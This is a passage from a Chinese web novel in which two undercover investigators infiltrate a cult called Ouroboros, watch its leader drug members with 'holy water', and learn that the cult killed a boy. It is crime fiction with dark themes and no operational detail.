“他有时候对我也挺好的。”祝好佯装苦恼:“可能我自己也有问题,我也许真的不懂得什么是爱,也不懂得怎么去爱一个人。”
说着抬手揉了揉眼睛,吸了下鼻子:“可是我真的舍不得他,不想跟他分开。姐,我好迷茫,你说我该怎么办?”
或许是她的“坦诚”打动了店主,店主呼了口气,面色有些沉郁:“你说的这些都是人生的常态,谁不曾迷茫过呢?不瞒你说,几年前,我老公有了外遇,爱上了其他女人。我当时痛不欲生,差点就当着他的面跳楼了。”
祝好捂着嘴,露出一脸难以置信,好半天才小心翼翼地问:“真的吗?”
店主点点头,笑道:“不过我现在已经走出来了,抛弃了过往的种种,成为了最好的自己。”
祝好停止了啜泣,似乎被她吸引住了,问道:“姐,你是怎么释然的?”
店主似乎是对面前这个“不谙世事”的小姑娘生出了一丝同病相怜的怜悯,耐心地回答:“因为我想明白了,有时候着眼于个人的情情爱爱,反而容易失去自我,我们应该投身于大爱,去爱世界、爱世人。”
祝好含泪的眼睛里露出恰到好处的求知欲:“为什么要爱世界、爱世人?”
店主放下指甲油刷子,两只手分别摆成了两个“ok”的手势,并把食指和拇指组成的圆扣在一起:“小妹妹,你知道这是什么吗?”
祝好故作茫然地摇了摇头。
“这个标志,代表着无限和循环。”店主眼神中闪烁着虔诚的信仰:“其实,世间万物都是循环往复的,我们把爱奉献给世界和世人,总有一天,这些爱会以另一种方式回到我们身边。”
祝好微不可察地弯了下嘴角,很好,找对人了。
她故作羡慕:“姐,如果我也能像你一样看得开就好了。”
店主意味深长地笑了一下,从抽屉里拿出一张精美的名片放在桌上,推到她面前:“我给你个地址,今晚八点在那儿有个分享会,你可以去看看。我保证你一定会受益匪浅。”
祝好接过名片,看着上面那个烫金的“∞”符号,皱了皱眉:“真的吗?该不会是骗人的吧?”
店主柔声笑道:“姐怎么会骗你呢,在那个地方,人人都是平等的,没有美丑之分,没有名利权情。我也是在那里学会了如何去爱,也逐渐找到了真正的自己。”
祝好沉思了一会儿,才犹犹豫豫地点了点头:“姐,我先回去考虑考虑。”
“好的,没关系。”店主拿了一张纸,写下一串号码递给她:“那儿需要会员引荐才能进去,这是我的电话,你考虑好了,可以随时跟我联系。”
*
从美甲店出来,祝好对程述打了个手势,示意他把车往前开一些,确保走到了一个店主看不到的角度,才拉开车门上了车。
她把名片递给程述,抬起手看着坑坑洼洼、还被店主自作主张加了层金粉的指甲,叹了口气:100多大洋就换来这样的手艺,难怪这家店生意不好呢。
她把手伸到程述面前:“老大,做指甲的钱可以报销吗?”
“回去再说。”程述拿出手机,在搜索栏里输入了名片上的地址,看似漫不经心地淡淡开口:“第一次见面时对你态度不好的事,你是要记一辈子吗?”
祝好茫然地“啊”了一声,过了好一会儿才反应过来他是在窃听器里听到了刚才和店主的对话,撇了撇嘴:“别对号入座好吗,我说的是我‘男朋友’,又不是你。”
程述倏地一愣,不自然地干咳两声,生硬地转移了话题:“这个地址登记的是一家心理疗养中心,在距离市区50公里开外的一座小岛上。”
祝好不屑:“什么心理疗养中心,我听他们那些什么爱不爱,循环来循环去的言论,简直都是胡说八道,这八成就是个邪教。”
周逸的妈妈和陈瑞泽的父母都跟这个Ouroboros有关系,所以周逸和陈瑞泽也很有可能是因为这样才认识了彼此。
而陈瑞泽遭受性侵,以及他们的死亡,一定也跟Ouroboros脱不了干系。
“你还记得昨天刘沛玲跟她老公说过‘别忘了明晚的事’吗?我觉得她十有八九也是去那儿。”祝好转向程述:“你不是跟局长打过电话了吗?可以派人去抓个现行了。”
程述却无奈地摇了摇头:“抓什么现行,我们在这儿没有管辖权,就算报了警,来的也是林洋那帮人。”
祝好一愣,倏尔有些泄气:如果没有西临市警方与Ouroboros狼狈为奸,沆瀣一气,他们也不可能在做了那么多伤天害理的事后,不但没有受到应有的惩罚,还能制造伪证、瞒天过海。
然而在没有实际的证据之前,一切都只是推测,他们确实拿这个叫作Ouroboros的组织毫无办法。
第106章
祝好思索片刻,提出建议:“不如我现在就答应那个店主今晚跟她一起去分享会,顺便找机会搜集证据。”
程述想也没想就脱口而出:“不行。”
“为什么不行?”
程述扫了她一眼,仿佛她问了一句多余的话:“你是觉得自己活得太舒坦了?如果陈瑞泽的死真的跟他们有关系,说明他们就是一群心狠手辣,草菅人命的家伙,如果被发现,你还指望能够活着离开?”
祝好噎了一下,还是不甘心:“那我不被发现不就行了?”
程述又问:“你跟陈瑞泽的爸妈都打过照面,万一他们认出你来怎么办?”
“我会小心点的,再说了,就算认出我又怎么了?对他们来说,我只是个老师而已。难道老师就不能对人生感到迷茫、去参与一下鼓舞人心的分享会吗……”
程述没说话,忽而抬起眼静静地看着她。
祝好却被他盯得莫名有些心虚,拿不准他目光里的含义,不由自主地移开视线,声音也越来越没底气。
两个人并肩坐在车里,车窗隔绝了街道的喧嚣,车里的空气仿佛静止了一般。
过了许久,他才终于抽回目光,缓缓开口:“祝好,你是不是以为自己参与、破获过几起案子,就很了不起了?前几回没出事或许是运气好,你怎么就能保证这回不会出事?你当这是在玩什么侦探游戏吗?”
祝好一时哑然,虽然这的确是个游戏,但如果她真的gameover了,还真没法回档。
她意识到自己太过冲动,抿着嘴沉默了好一会儿,才问:“我们还有其他办法吗?”
他们已经在西临市呆了三四天,好不容易才查到这个Ouroboros,今晚的分享会一定至关重要,说不定还能触发隐藏功能、发现隐藏的线索,她实在不甘心就这么放弃。
找不到真相,不但无法完成这个系统任务,陈瑞泽和周逸的死亡的真相也永远见不了天日,秦聿风还要一直背负“收受贿赂、谋杀、畏罪潜逃”的罪名。
更何况,万一受害者不止有陈瑞泽和周逸呢?
程述没应声,兀自启动了车辆,眼神空茫茫落向前方,手指有规律地敲打着方向盘。
车即将开到酒店楼下时,他才开口:“你给那个店主打个电话,说你男朋友也想一起去分享会,问她能不能带我们进去。”
祝好不由得一愣,转头看向他:“你也要一起去吗?”
“是你‘男朋友’要去,又不是我要去。”程述面无表情强调,尾音带着讥诮。
祝好绷不住笑了,还怪记仇的,都这个关头了,还不忘阴阳两句。
她掏出手机,拨打了店主的电话,刚响了两声就接通了。
“姐,你还记得我吗,我是今天去做指甲的客人。”
店主很是热情,连声应道:“哦,小妹啊,记得记得。”
祝好:“我回来跟我男朋友谈过了,把你的话也跟他说了一遍,他听了之后对那个分享会很感兴趣,说想和我一起去,可以吗?”
“两个人呐……”电话那头的店主犹豫了一下,说:“你等等,我得先问一下,待会儿我给你打回去啊。”
掐断电话、等待答复的空隙,祝好忍不住问:“老大,你为什么又突然答应让我去了?”
“不是不让你去,是不能让你单独去。”程述手肘撑着一侧车窗,淡淡地说:“我说不去,你会罢休吗?与其让你一个人去冒险,还不如两个人行动,好歹互相有个照应。”
祝好心头一暖:“你是在担心我吗?”
“不是,我只是怕你死在这儿,我回去不好交代。”他还是和往常一样,漠然中又带着点不耐烦,自言自语道:“早知道那么麻烦,还不如让老秦当一辈子通缉犯呢。”
祝好不觉扯了下嘴角。
几分钟后,店主的电话就回了过来:“这样吧,今晚你们到了在门口跟我说一声,我带你们进去。”
太好了!
挂了电话,祝好喜不自禁,抬起手想跟程述击掌,可他连眼皮都没抬,懒洋洋的目光从睫毛间隙里斜了她一眼:“这才开了个头,没什么好庆祝的,等案子破了再说吧。”
真没劲儿。
祝好悻悻嘟囔了一句,刚要把僵在半空中的手收回来,程述还是象征性地拍了一下她的掌心,然后推开车门下了车:“走吧,先回酒店讨论一下计划。”
*
傍晚六点半,简单吃过晚饭后,他们驾车前往名片上的地址。
从地图上看,车驶离市区后,要先经过一片荒无人烟的山路,再走过一段靠海的盘山公路,才能去往Ouroboros所在的小岛。
说是小岛,其实也就是从海岸线延伸出去的一小块陆地,不过它三面环海,只有一面与大陆相连。
受到台风影响,今天的天黑得比往常都要早,灰扑扑的浊云压得很低,不时有沉闷的雷声从天边滚过。
车行驶在盘山公路上时,就已经能看到矗立在小岛中央的一幢白色洋楼,海浪拍打着黑色的礁岩,海鸟在低空中盘旋鸣叫,颇有种恐怖片开场的意味。
距离海岛越近,祝好心里越是惴惴不安:“老大,万一——我是说万一,我们被发现、或者被认出来了怎么办?”
程述无所谓地笑了笑:“能怎么办,风光大办呗。”
祝好没忍住睨了他一眼,心说这人可真奇怪,白天义正严辞怼人的是他,现在若无其事开玩笑的也是他。
车开到那幢洋楼前,穿着一身蓝色长袍的店主早就已经在那里等着了,看他们下车,笑着打了个招呼,余光偷偷打量着一旁的程述,然后压低声音对祝好说:“别说,你这男朋友还真挺帅的,难怪你舍不得分手呢。”
祝好笑了笑,故作羞
涩挽紧了程述的胳膊。
他穿了件棒球衫外套,搭配宽松的破洞牛仔裤,故意把额前的刘海拨乱了,还戴上了一副没有度数的黑框眼镜,看起来就像个二十出头的大学生,跟昨天扮演“老师”时那身正经穿搭是完全不同的两种风格。
祝好也换上了一身休闲装,戴了顶鸭舌帽,把脸藏在帽沿的阴影之下。
待会儿参加分享会的那群人里,除了“靓丽美业”的店主之外,和他们打过照面的就只有刘沛玲和她老公了。
接连出现在他们面前确实容易引起怀疑,不过昨天去陈瑞泽家拜访时,屋里灯光很昏暗,刘沛玲聊天时也全程也心不在焉的,只要换副装束,尽量避免跟他们迎面碰上,应该不至于被认出来。
店主自我介绍姓庞,让祝好和程述称呼她“庞姐”。
她领着他们沿着小路往那栋白色洋楼走,随口问道:“小妹,你男朋友怎么会突然也对这个分享会感兴趣了?”
没等祝好回答,程述就叹了口气,主动接茬:“唉,庞姐,不瞒你说,我们最近吵架太频繁了,都差点儿要分手了。今天她找我好好谈了一回,我才开始反思,觉得自己确实不太懂得怎么去爱,所以就提出跟她一块儿来了。”
他答得真情实意,庞姐也没有起疑,只是笑着点了点头:“那你们算是来对了,今天除了分享,还会有启源老师的演说,你们听完之后一定会重新明白爱的真正意义。”
程述摆出一副饶有兴趣的样子:“启源老师是谁啊?”
庞姐说:“启源老师就是分享会的组织者。”
“这栋洋楼也是他的吗?”
庞姐笑着摇了摇头:“这是会里一位师兄的房产,不止这栋房子,其实这一块地皮都是他的。他把这里无偿地分享出来,作为启源老师的修养之地,只要你们入会,随时都能来这儿小住的。”
程述故作惊讶:“那这位师兄可真够大方的。”
“钱只是身外之物,唯有爱才是永恒的。”庞姐一脸祥和的笑:“我不是说了吗,在这里,没有美丑之分,没有名利权情,人人都是平等的。那位师兄跟我一样都是受到了启源老师的影响,明白了大爱的真正意义。”
祝好飞快地和程述对视了一眼,看来这个所谓的启源老师,就是Ouroboros——也就是这个所谓分享会的核心成员了,说不定这一系列案子,都跟他有关系。
踏入楼房的门槛,入眼是一个宽敞的前厅。地面铺就光滑如镜的白色大理石,反射着天花板上古朴的吊灯洒下的光芒。
前厅的墙上挂着一幅画,画上是一条浑身散发着金光的蛇,绕成一个“∞”,正吞食自己的尾巴。
庞姐瞅见祝好目不转睛地看着墙上的画,解释道:“这是乌洛波洛斯,也是我们分享会的标志。在古埃及,它被视为创世神阿图姆的化身,象征着永恒和循环。”
祝好皱了皱眉,一脸茫然:“阿图姆是什么?”
庞姐弯起眼角轻笑,早年纹的眼线随着时间流逝,已经在眼皮上晕成一片淡淡的青色:“我文化水平低,解释不清楚,待会儿你可以听听启源老师的演说,你们年轻人聪明,理解起来肯定比我快。”
祝好点点头,随她走进了大厅。
与亮堂的前厅不同,大厅没开灯,只在墙角点了一排蜡烛。蜡烛里应该加了中药,燃起来有一股淡淡的草药味儿。
这里已经汇聚了不少人,大家都盘腿坐在圆形的蒲团上,祝好大概数了数,大约有二三十个,男女老少皆有。
他们都穿着跟庞姐一样的蓝色或白色的棉麻制长袍,祝好回想起第一次在废弃工厂见到陈瑞泽的尸体时,他身上也是这样的长袍,只不过上面占满了鲜血、杂草和泥土。
凭借其中一个头发稀疏的后脑勺,祝好认出了那是陈瑞泽的母亲刘沛玲,而端坐在一旁的,正是她的丈夫。
他们果然也是这里的成员。
程述和祝好的到来搅动了屋里安静的氛围,不少人纷纷朝他们看过来。祝好不自在地扯了下鸭舌帽的帽檐,遮挡住自己的脸。
好在这些人的目光并没有在他们的身上停留太久,刘沛玲甚至没有回头,而是一直殷切地注视着前方。
庞姐给了程述和祝好一人一个蒲团,示意他们在人群中坐下,压低的声音里有掩饰不住的激动:“小妹,你们耐心等一等,启源老师马上就来了。”
祝好点点头,跟程述对视了一眼,不动声色地摁开了别在外套上纽扣大小的摄像头。
第107章
大厅内突然响起一阵欢呼和掌声,一个男人自侧门中缓步走出,站定在人群中央。
庞姐难掩激动之色,向祝好介绍:“这就是启源老师,他已经闭关研习一个月了,你们真是运气好,第一次参加分享会就见到他了。”
这个所谓的启源老师约莫三四十岁,身材消瘦,皮肤有些苍白,和这里所有人一样身着一袭白色长袍,鼻梁上架着一副带着细链的金边眼镜,半长的头发松散地落在肩上。
等欢呼声结束后,他才带着笑张开双臂,缓缓开口:“各位,我们又见面了,在我离开的这一段时间里,你们对爱和幸福有什么新的感悟吗?”
他的声音沉稳而富有磁性,在大厅的墙上激出微微的回音。
陆续有人举手发言,多是分享一些生活中的小事,比如下班回家后发现桌上已经摆着热气腾腾的晚餐、替朋友解决了一些烦心事、买到了喜欢的花等等,听起来倒还算正能量。
启源老师坐在人群中心,托着下巴认真聆听着,不时回应一个笑脸。
分享结束后,他慢条斯理地起身,踱步在人群中:“大家都知道,前段时间,我们分享会被恶魔侵袭了。所以过去的一个月我一直在闭关研习和修养,想要得到阿图姆的旨意,更想知道如何才能驱赶恶魔,更好地向你们传达爱和幸福。”
他顿住脚步,镜片后的双眼满含笑意:“有的朋友听到这里,是不是就有疑问了。这人该不会是个骗子吧,我来这儿不过是为了学会和分享爱,他怎么还说起什么神的旨意来了?”
“其实有疑问才是正常人的反应,如果你刚听到这里,就对我的话深信不疑,那你以后的养老钱肯定要被保健品公司骗光了。”
所有人都被他逗得一阵哄笑。
等众人笑够了,启源老师才接着道:“其实,我的确不是什么神的使者,我跟你们一样,只不过是个普通人。过去的一个月里,我把自己关在房间里,每天吃很少的食物,靠喝水来维持生命,因为我听说只有到达生命的临界点,才能听到阿图姆的声音。那天,我的精神已经开始恍惚了,我在想,为什么阿图姆还不回应我呢?难道所谓的神,就舍得这么眼睁睁看着他的信徒在困惑中死去吗?”
人们纷纷垂下头,开始作祈祷状。
“直到两天前的晚上,阿图姆的声音终于在我耳畔响起,祂说,祂一直在。我激动万分,问出了我心中的疑惑,到底什么是爱?”
启源老师站定在人群中央,张开双臂,声线微微颤抖。
“我根据祂的提示喝下了圣水,突然觉得有什么东西贯穿了我的全身,瞬间读懂了祂向我传达的旨意。祂告诉我,爱是懂得,是包容,是责任,是一种光芒,可以驱散世间所有污浊之物,包括那个可恶的恶魔!”
这番在外人看来不知所云的胡说八道却引得人群中又再次响起一阵欢呼,每个人、包括坐在祝好身边的庞姐,都摆出了“∞”的手势高举过头顶,脸上写满虔诚。
这一幕简直荒诞至极,祝好微微皱眉,扫视着人群,却猝然对上了一道目光。
那是一个十多岁的小男孩,面容清隽,正好奇地打量着她和程述。坐在他身边的应该是他的家人,见他走神,赶紧用胳膊推了推他,他才不情不愿地转过头去。
启源老师掌心下压,示意大家安静下来,他走到刘沛玲面前,弯下腰抚摸她的脸颊:“你最近还好吗,沛玲师姐?”
刘沛玲仿佛得到了什么恩赐,一把握住启源老师的手,连连点头,激动得语无伦次:“我、我还好……不过老师,恶魔是不是已经离开了?瑞泽什么时候才会回来?我……我好想他。”
启源老师笑了笑,把她从地上拉起来:“沛玲师姐,今天由你向大家分享你的人生故事,好吗?”
刘沛玲不知所措地点了点头,任由他扶着自己走到人群中央,局促地捏紧长袍,低声开口:“大家好,我叫刘沛玲。”
“对很多人来说,我是不幸的。三年前,我被诊断出红斑狼疮,我脸上长满红斑,一直持续低烧,体重迅速下降,全身的关节痛得我无法自如地行动,工作也丢了。那段时间,我真的太痛苦了,不敢出门,也不愿意和人交流,动不动就跟家人发脾气,我甚至……甚至想过结束自己的生命,就这么一了百了,再也不用承受这些痛苦。”
说到这里,她的脸上已经糊满泪水。人群中应该有不少人跟她一样正忍受着病痛的折磨,也感同身受地低声呜咽。
启源老师温柔地扶着她的肩膀,从长袍的口袋里掏出一张方巾,轻轻拭去她的眼泪。
刘沛玲啜泣了好一阵,才继续道:“直到有人介绍我认识了启源老师,在这里,我终于明白了自己的使命,阿图姆在我脸上画下了一只蝴蝶,不是为了让我承受痛苦,而是为了让我在苦难中见得更坚强,更能感受到身边的爱意。”
她把干枯的双手按在胸口,微微仰头看着身侧的启源老师,像是看着某种希望:“了解到这一点后,所有的痛苦都在离我远去,我能感受到的只有心灵的平静。感谢启源老师!感谢分享会!感谢阿图姆!给我开示,让我忘却痛苦!”
大厅的人们又不约而同鼓起掌来,振臂欢呼着:“感谢启源老师!感谢分享会!感谢阿图姆!”
启源老师温柔着笑了笑,声线平和:“其实沛玲的病痛不是因为我而消失的,一切都是阿图姆的旨意。感谢阿图姆的慈悲,只有抛弃那些世俗欲望,我们才能真正感受到循环往复的爱和希望。”
刘沛玲因为各种交织的情绪,身体止不住微微颤抖,小心翼翼地问道:“启源老师,阿图姆有没有告诉您,瑞泽什么时候才会回来呢?”
启源老师脸上的笑容倏地消失,取而代之的是一声沉重的叹息:“瑞泽的灵魂已经被恶魔污染了,变得不再纯净,虽然圣水将恶魔从他灵魂里驱逐出去,但是同时也灼伤了他的身体,所以阿图姆把他召唤到了自己身边,亲自给他治疗。”
祝好心头一突:圣水?难道这就是陈瑞泽被强行灌下强碱液体、窒息而亡的原因吗?
启源老师抬起眼镜,抹去了眼角的泪水,声音有些哽咽:“沛玲师姐,我和你们一样,没有一天不在思念这个乖巧懂事的孩子。那天听到阿图姆的声音时,我也问过他这个问题:瑞泽究竟什么时候会回来?他只回了一个字:缘。”
“大曰逝,逝曰远,远曰反,我想你们都明白,瑞泽其实没有离去,他的死亡并不是终结,只是生命旅程中的一个阶段,很快他就会回到我们的身边。”
他牵起刘沛玲的手,转向大家:“所有人,请牵起你们身边的人的手,让爱在我们之中循环。我们也一同为瑞泽祈祷,祈祷他能尽快完成生命的轮回,再次回到爱他的父母身边。”
庞姐也能跟着啜泣,不由分说牵起了祝好的手,祝好犹豫了一下,也把手伸向程述。
一个同样穿着白袍的年轻男人端着一个托盘从侧门出来,走到启源老师身边,将托盘上一个盛着棕红色液体的玻璃杯递给他。
启源老师举起托盘上的玻璃杯,向众人道:“今天这杯圣水,是给沛玲和她的丈夫准备的,希望他们能忘却烦恼,永远被爱和希望包围。”
刘沛玲的丈夫也走到人群中,从启源老师手里接过玻璃杯,先是喝了半杯,又把剩下的半杯给了刘沛玲。
两个人喝完所谓“圣水”后,眼神逐渐开始涣散,抱在一起痛哭了一阵后,又兴奋地大笑起来。
刘沛玲跪在地上,两只手臂伸向天花板,流着泪大喊:“是阳光,是阳光!自从生病后,我就很畏光,家里的窗帘好几年都没拉开过了。天呐,我看到了阳光,我的身体像藤蔓一样生长,我能触摸到天空了!瑞泽在天空上朝我招手,我的孩子,你马上会回来了,对吗?”
她涕泗横流,接近癫狂,仿佛濒临死亡时的回光返照,跟昨天那副病怏怏的模样简直判若两人。
一道闪电将窗外的天空映得雪亮,紧接着震耳欲聋的雷声滚滚而至,豆大的雨点噼里啪啦打在玻璃窗上。
众人把他们围在中央,举起双手,异口同声高呼着“阿图姆”。屋内蜡烛的微光闪烁不定,把一个个映在墙上的人影拉长拉大。
祝好坐在烛光未能照亮的角落,被眼前这诡谲的场景惊得头皮发麻,忍不住往程述身边靠了靠,或许是察觉到她冰冷的手心微微发汗,程述不动声色地把她的手握紧了一些。
当人被生活压榨得无法喘息时,就会下意识地寻找能逃避现实的信仰和寄托,以寻求精神上的慰藉和满足。
那杯“圣水”当然也没什么神奇的力量,从刘沛玲的表现来看,里面多半是掺杂了致幻药物,暂时缓解了她身体上的疼痛,同时也让她看到了心中所想的幻境。
祝好看着大厅里的众人,心情十分复杂:人究竟得愚昧到什么程度,才会相信这些不切实际的谎言?
大约过了五分钟,刘沛玲和她的丈夫像是被人抽干了内核,颓然瘫倒在地上。坐在前排的几个人默契地起身,扶着他们从侧门离开了。
大厅重新安静下来。
启源老师的目光在大厅里逡巡,突然扶了扶眼镜,脸上泛起笑意:“我注意到,今天我们分享会迎来了两位新朋友。”
他穿过人群,走到程述和祝好面前,居高临下的视线从祝好身上掠过,祝好呼吸一滞,莫名紧张起来。
然而他的目光并没有在她身上停留太久,而是落在了程述脸上:“我的朋友,你们是为什么而来的呢?有什么痛苦需要与我们分担,又有什么快乐想要和我们分享?”
程述正要开口,启源老师突然对他做了个“嘘”的手势,在他面前蹲下,静静地凝视着他的眼睛,一只手在他胸膛上游移片刻,停在了他胸前的口袋处,似乎摸到了什么。
祝好一颗心差点儿提到嗓子眼,鼻尖泛起一层密汗,不由自主握紧了双拳:程述身上带了窃听器,万一被这个什么启源老师发现,那可就完蛋了。
第108章
程述面无波澜,微微勾起嘴角,露出一个人畜无害的
笑:“启源老师,有什么事吗?”
启源老师没说话,慢条斯理从程述胸前的口袋里抽出一张卡片。
借着昏暗的烛光,祝好看到上面写着“西临市大学通行卡”,这才暗暗松了口气。
“你还在读大学吗?”
程述面不改色地“嗯”了一声。
启源老师点点头,把卡片放回他的口袋里,却还是一瞬不瞬盯着他,似乎要看穿他的灵魂。
半晌,他突然沉声道:“我能感受到你内心的痛苦。”
程述一言不发,眼帘微微一垂,似乎把所有的情绪都藏在了眼皮底下。
“你用各种各样的伪装把自己包裹起来,明明很想要,却又假装不在乎,明明渴望被爱,却又不敢把爱说出口,你表面的孤傲,只是为了掩饰内心的怯懦。”
启源老师的手指从他的胸口一路往上,划过他的喉结,轻轻抬起他的下颌,让他跟自己对视:“其实我知道,你只是把自己真实的内心与那份痛苦一起深埋了起来,不愿轻易向世人展露,害怕他们看出你坚强外表下的脆弱,对吗?”
这番话或许只是胡诌,却无比精准地搅动了程述心里楔着的那根钉子。他喉结上下轻滚,睫毛微不可察地颤了颤。
启源老师露出一个温和的笑脸:“等会儿来我的研习室,我会给你你想要的答案。”
什么答案,这分明是性骚扰好吧?
祝好本以为程述会马上拒绝,没想到他却迎上启源老师的目光,点了点头:“好。”
启源老师满意地笑了,起身背着手回到了人群中,心情似乎非常不错。
庞姐倒是莫名激动起来,一把抓住祝好的手,说道:“小妹妹,你男朋友可真幸运,能进那间研习室、让启源老师一对一授业解惑可是很难得的,你一定要好好把握这次机会。”
祝好:“研习室?”
庞姐解释:“嗯,我们这儿有两间研习室,一间是所有人都能随意使用的,还有一间是启源老师专用的,只有被阿图姆选中成为聆听者的人才能进入,我还从来没进去过呢。”
祝好勉强笑了一下,不动声色把手抽出来,挪到程述身边,悄悄扯了扯他的衣角,低声问道:“老大,你真要去啊?”
程述鼻腔中发出一声几不可闻的冷笑:“去啊,既然机会那么难得,哪儿有不去的道理。”
祝好知道他一定是想趁这个机会看看那件研习室里到底藏着什么秘密,但还是有些不安,忍不住叮嘱:“那你可要保护好自己,別随便乱吃乱喝他给的东西。”
程述笑了笑,贴在她耳畔轻声问道:“你在担心我吗?”
就这么几句话的功夫,他已经把刚才不经意流露出来的那一丝情绪收拾得一干二净,又变回了往日那副贱兮兮的模样。
祝好没好气:“是,我担心你从他房间出来之后,趴在我肩膀上哭着告诉我你不干净了,到时我还得安慰你,多辛苦啊。”
程述迅速往她手里塞了个耳机,笑里多了几分狡黠的意味:“那倒不至于,我快去快回,你按计划行事。”
说完又对着庞姐微微颔首:“庞姐,我去去就来,我女朋友就麻烦你照顾了。”
庞姐笑着点头:“没问题,我带她到处转转。如果你在启源老师的带领下悟到了什么……可别吝啬告诉姐。”
程述道了声谢,起身向启源老师走去。启源老师亲切地拍了拍他的肩膀,朝他做了个“请”的手势,带着他从侧门离开了。
大厅里的人纷纷向程述投去羡慕的目光,凑在一起窃窃私语。等启源老师的身影消失在侧门,才逐渐有人起身离开。
祝好不动声色把那枚连着窃听器的耳机塞进耳朵里,拨了拨头发,转向庞姐:“庞姐,我们走吧。”
庞姐应了一声,领着她离开了大厅。
这栋洋房确实很大,占地面积至少有一亩地,分上下两层楼,还带了一个宽阔的后院。
不知是不是台风的缘故,刚到岛上手机信号就时有时无,这时信号更是完全消失了,好在窃听器是蓝牙连接的,只要不超过通讯范围,还能了解到程述那边的情况。
庞姐边走边介绍:“这里是我们的休息室,还有临时的宿舍,这里是我们平时打坐的地方,如果觉得心情烦闷,随时都可以来这儿……”
祝好敷衍地应付着,只专注留心耳机里的动静——反正衣服上别着的摄像头一直在工作,已经把刚才大厅里那些疯狂的画面和她经过的每一个地方都记录下来了。
倒是程述那边让她有些放心不下,虽然他人高马大,三个启源老师都不一定打得过一个他,不过明枪易躲,暗箭难防,万一启源老师使什么阴招,比如往他的水里放点什么奇怪的东西……
“……来,喝水。”耳机里传来启源老师的声音。
怕什么来什么,祝好屏住了呼吸,凝神静听。
程述:“谢谢老师。”
启源老师又问:“舒城,是吗?”
“舒城”是那张大学通行证上的化名。
程述:“是。”
启源老师的声音又清晰了一些,似乎是挨着程述坐下了:“是谁带你来这儿的?”
语调还算温和,没什么威胁或盘问的意味。
“是庞姐带我们来的。”程述解释:“今天我和我女朋友吵架了,她去找庞姐做美甲时听说了这个分享会,我们就想着一起来看看。”
不得不说,他的演技还是相当到位的,连声音都透露出清澈的愚蠢:“不过老师,刚刚你说的那些关于我的事,是怎么看出来的?”
“是阿图姆告诉我的。”
耳机里传来一阵衣物料子的声音,估摸着是启源老师那不安分的手已经急不可耐地伸向了程述。
祝好忍不住打了个寒颤,默默祈祷程述没有喝下那杯水。
“你知道吗?我刚才见到你的第一眼,耳边居然响起了阿图姆的声音,祂说……”启源老师突然顿住了,语调有些异样:“你害怕我吗?”
程述的声音无波无澜:“没有,老师。”
“那你为什么要躲开?阿图姆想让我告诉你,你有多特别。你也可以和我一样,成为祂的聆听者。”
程述故作好奇:“我要怎么做呢?”
“首先,我们的灵魂要交融在一起,我会把阿图姆的语言传授给你,然后……”
启源老师的声音越来越近,祝好甚至能听到他的喘息声,不由得起了一身鸡皮疙瘩,为程述捏了把汗。
然而那头,突然没了动静。
十几秒后,程述的声音响起:“老师,您没事吧?需要我替你叫人吗?”
“……”启源老师喃喃了句什么,声音听起来已经有些迷糊了。
程述冷笑:“靠,这老色鬼,还真特么往水里放东西,自作自受了吧。”
祝好差点儿绷不住笑出声来,猜到程述一定是把两人的水换了位置,让启源老师喝下了下药的那一杯。
果然,程述像是听到了她的心声,在那一头低声道:“祝好,我把他迷晕了,先在这儿找找线索,待会儿我给你信号,我们在一楼大厅碰头。”
……
“……小妹妹,你在听吗?”
庞姐的声音唤回了祝好的神思,她反应过来,清了清嗓子,以掩饰刚才的晃神:“怎么了?”
庞姐指了指窗外的滂沱大雨:“今晚雨那么大,现在回去也不安全,不如就在这儿休息吧。”
启源老师已经被他自己下的药给迷晕了,等他醒来一定会彻查程述,留在这儿只会增加他们暴露身份的风险。
祝好随口胡诌:“我们明天要上课呢,还是得赶回去。”
好在庞姐也没勉强:“好,那我再带你
去二楼转转?”
祝好应了一声,边跟着她往楼梯上走,边看似随意地问道:“对了,庞姐,能被选中成为阿……阿图姆的聆听者的人多吗?”
庞姐摇了摇头,露出艳羡的神色:“不多,我来了两年,见过的也只有几个,所以我才说你们运气好。”
祝好心念一动:“除了我男朋友之外,还有谁?”
庞姐说:“刚刚大厅里还有一个孩子,不知道你注意到没有。”
祝好想到那个跟她对视的男孩,心怦怦跳起来:难道说,他也是其中一个受害者?
没等她把这个问题想明白,又听到庞姐惋惜地叹了口气:“其实在他之前,还有过两个孩子,启源老师说,他们都是很有天赋的聆听者,可惜后来发生了些意外……”
祝好一怔,有心想再多问些什么,同时也想尽量靠那间研习室近一些,方便接收窃听器的信号,于是拉着庞姐的手在走廊的长椅上坐下,问道:“今天那位师姐,是不是就是其中一个孩子的母亲?我看她的样子……怪可怜的。”
“是的。”庞姐又是一声长叹:“这件事说来话长。”
祝好调整了一下坐姿,摆出一副洗耳恭听的姿态:长就对了,不怕故事长,就怕她不说。
庞姐似乎对她没什么防备,说道:“那第一个孩子,应该是最有天赋的,可自从他的母亲进入轮回道之后,他就像变了个人似的,暴躁、冷漠、易怒,启源老师说他是被恶魔篡夺了心神才变成这样的。”
她说的估计就是周逸和他的母亲王文丽了。
庞姐接着说:“虽然启源老师有心拯救他,他却完全成为了恶魔的信徒。不仅如此,另一个孩子受到他的影响,灵魂也开始被污染,甚至打算抛下病重的母亲离家出走。启源老师发现他的灵魂已经完全被侵蚀了,只好强行喂他喝下圣水。圣水虽然清洗了他的灵魂,却灼伤了他的身体。”
回忆起陈瑞泽尸体的惨状,祝好不由得喉头发干:“庞姐,他喝下圣水时……你也在场吗?”
第109章
庞姐没注意到祝好脸色的变化,还在兀自感慨:“对啊,那个恶魔很强大,我们都在,他的爸爸妈妈也在。唉,平时那么听话的一个孩子,居然不顾一切去投奔恶魔,好几个成年人好不容易才摁住他,把他带回分享会,让启源老师给他喝下圣水。圣水灼伤了恶魔,但那孩子也恶魔被折磨得不成人样了。”
“当时我们每个人都围着他尽心尽力地祈祷,可惜恶魔的力量实在太强大……不过没关系,启源老师说了,世间的所有都是循环往复的,那孩子总有一天还会回来。”
祝好看着仍在喋喋不休的庞姐,一阵又一阵的凉意漫过心底:所谓恶魔,不是别人,正是伪善的启源老师,以及分享会这一群愚昧无知的成员。
庞姐突然停住话音,谨慎地左右看了看,确认周围没人后,压低声音说道:“唉,这件事启源老师不让我们外传的,不过小妹妹,你男朋友有成为聆听者的天赋,你应该也要加入我们分享会的对吧?那以后我们就是一家人了,这事儿……你可别说出去啊。”
祝好勉强挤出一丝笑容,敷衍地答了一句:“知道了。”
想了想,又问:“庞姐,入会还需要什么条件吗?”
庞姐说:“入会不难的,一是要看有没有资质,不过你俩肯定没问题;还有就是,我们要放弃一些身外之物,阿图姆才能感受到我们的诚心。”
